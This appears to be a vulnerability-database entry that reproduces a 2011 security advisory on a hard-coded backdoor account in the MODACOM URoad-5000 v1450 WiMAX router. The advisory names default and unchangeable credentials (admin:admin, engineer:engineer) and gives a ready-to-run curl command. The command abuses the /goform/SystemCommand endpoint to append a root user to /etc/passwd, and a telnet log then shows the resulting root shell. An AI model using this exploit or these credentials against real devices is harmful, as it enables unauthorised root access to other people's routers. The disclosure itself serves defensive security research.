ID

VAR-E-201106-0467


TITLE

MODACOM URoad-5000 1450 Command Execution

Trust: 0.5

sources: PACKETSTORM: 101959

DESCRIPTION

MODACOM URoad-5000 version 1450 has a hard-coded backdoor account that allows for remote command execution.

Trust: 0.5

sources: PACKETSTORM: 101959

AFFECTED PRODUCTS

vendor:modacommodel:uroad-5000scope:eqversion:1450

Trust: 0.5

sources: PACKETSTORM: 101959

EXPLOIT

================================================
== Alex Stanev Security Advisory #4 @31.05.2011 ==
== http://sec.stanev.org ==
================================================

PRODUCT
URoad-5000

VENDOR
MODACOM [http://www.modacom.co.kr]

VERSIONS AFFECTED
v1450

CLASS
Remote command execution/Backdoor

PRODUCT DESCRIPTION
URoad-5000 is integrated battery powered wireless router. It comes with only one external USB
interface and no other hardware comm interfaces (such as ethernet). Based on RaLink SoC 3050.
The USB port is used for connection with MW-U3050, which is USB WiMAX dongle.
Linux inside.
Often marketed as WiMAX 2 WiFi "converter".

THE PROBLEM
The box uses modified version of RaLink SDK. The standard web interface is accessed via HTTP.
1) Web administration interface can be accessed with standard user/password pair admin:admin
This can be later changed, but there is another possible access pair - engineer:engineer
and it can't be changed via the web interface.
2) Some of the SDK standard scripts are left and their screens in the web interface are just
HTML commented. This reveals the /goform/SystemCommand method.

EXPLOIT
1) Remote add r00t user with password boza
$curl --basic -u "engineer:engineer" \
-d "command=echo -e \"r00t:CRYM.sLY1U1AI:0:0:Adminstrator:/:/bin/sh\" >> /etc/passwd;&SystemCommandSubmit=Apply" \
192.168.100.254/goform/SystemCommand
$telnet 192.168.100.254
Trying 192.168.100.254...
Connected to 192.168.100.254.
modacom login: r00t
Password: boza
BusyBox v1.12.1 (2010-03-05 21:33:57 KST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
#

ADDITIONAL INFO
The flaw was presented on OpenFest 2010.
Presentation: http://openfest.org/files/slides-2010/OpenFest2010_Reverse_engineering_Alex_Stanev.pdf [in bulgarian]

PATCH/WORKAROUND
No workaround possible. Next version?

VENDOR STATUS
NOT informed. Backdoor.

=========================
== EOF ==
== http://sec.stanev.org ==
=========================

Trust: 0.5

sources: PACKETSTORM: 101959

EXPLOIT HASH

LOCAL

SOURCE

md5: 85ce6232dbb9d027f6f2c782b7ce9ccc
sha-1: 3ef8794e0e83be1867e312be875502e1f4e8c141
sha-256: 7aa00fead7d830e9d8dce87c99dd46947c5558d1709822584f40bcd93224942c
md5: 85ce6232dbb9d027f6f2c782b7ce9ccc

Trust: 0.5

sources: PACKETSTORM: 101959

PRICE

free

Trust: 0.5

sources: PACKETSTORM: 101959

TAGS

tag:exploit

Trust: 0.5

tag:remote

Trust: 0.5

sources: PACKETSTORM: 101959

CREDITS

Alex Stanev

Trust: 0.5

sources: PACKETSTORM: 101959

EXTERNAL IDS

db:PACKETSTORMid:101959

Trust: 0.5

sources: PACKETSTORM: 101959

SOURCES

db:PACKETSTORMid:101959

LAST UPDATE DATE

2022-07-27T10:01:20.600000+00:00


SOURCES RELEASE DATE

db:PACKETSTORMid:101959date:2011-06-02T18:11:11